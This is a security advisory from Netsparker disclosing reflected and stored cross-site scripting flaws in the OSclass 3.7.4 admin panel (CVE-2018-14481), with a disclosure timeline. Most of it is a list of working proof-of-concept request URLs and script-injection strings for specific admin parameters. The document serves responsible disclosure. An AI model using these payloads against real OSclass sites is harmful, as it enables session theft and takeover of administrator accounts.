OSclass 3.7.4 Cross Site Scripting

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Multiple Cross-site Scripting Vulnerabilities in OSclass 3.7.4  
  
Information  
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Advisory by Netsparker  
Name: Multiple Cross-site Scripting Vulnerabilities in OSclass 3.7.4  
Affected Software: OSclass  
Affected Versions: 3.7.4  
Homepage: https://osclass.org/  
Vulnerability: Reflected Cross-site Scripting, Stored Cross-site Scripting  
Severity: High  
Status: Fixed  
CVE-ID: - 2018-14481  
CVSS Score (3.0):  
Reflected XSS : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L  
Stored XSS: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L  
Netsparker Advisory Reference: NS-18-029  
  
Technical Details  
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URL:/oc-admin/index.php/x?page=items&iDisplayLengthx%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1  
Parameter Name: iDisplayLength  
Parameter Type : GET  
Attack Pattern : x%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1  
  
URL : /oc-admin/index.php?page=items&action=items_reported&id[]=&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005A81)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x005A81)</scRipt>  
  
URL : /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005707)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x005707)</scRipt>  
  
URL : /oc-admin/index.php?page=items&action=items_reported&sort=spam&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042C1)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0042C1)</scRipt>  
  
URL : /oc-admin/index.php?page=items&iDisplayLength=10&sSearch=&user=&userId=&itemId=&shortcut-filter=oPattern&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007CE4)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x007CE4)</scRipt>  
  
URL : /oc-admin/index.php?page=items&action=items_reported&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001372)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x001372)</scRipt>  
  
URL : /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x002945)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x002945)</scRipt>  
  
URL : /oc-admin/index.php?page=items&action=items_reported&sort=spam&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001381)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x001381)</scRipt>  
  
URL : /oc-admin/index.php?page=items&iDisplayLength=10&sort=date&direction=desc&sSearch=&countryName=&countryId=&region=&regionId=&city=&cityId=&user=&userId=&catId=5&b_premium=1&b_active=1&b_enabled=3&b_spam=1&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042E7)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0042E7)</scRipt>  
  
URL : /oc-admin/index.php?page=plugins&action=delete&CSRFName={CRSF_NAME}&CSRFToken=CRSF_TOKEN}&plugin=&iDisplayLength=10&'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075A6)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0075A6)</scRipt>  
  
Note: This vulnerability donat exploit by CSRFName parameter and CSRFToken parameter.   
  
URL : /oc-admin/index.php?page=plugins&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0078C1)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x0078C1)</scRipt>  
  
URL : /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004028)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x004028)</scRipt>  
  
URL : /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007BDC)%3C/scRipt%3E=nsextt  
Parameter Name : nsparamname  
Parameter Type : GET  
Attack Patern : '"--></style></scRipt><scRipt>alert(0x007BDC)</scRipt>  
  
Stored XSS  
  
Injection Request  
  
URL : /oc-admin/index.php?page=settings  
Parameter Name : language  
Parameter Type : POST  
Attack Patern : '+alert(0x007BDC)+'  
  
Identification Request  
  
URL : /oc-admin/index.php?page=settings  
  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
  
Advisory Timeline  
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11th April 2018 - First Contact  
16th July 2018 - Vendor Fixed  
4th December 2018 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.  
  
About Netsparker  
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.  
  
  
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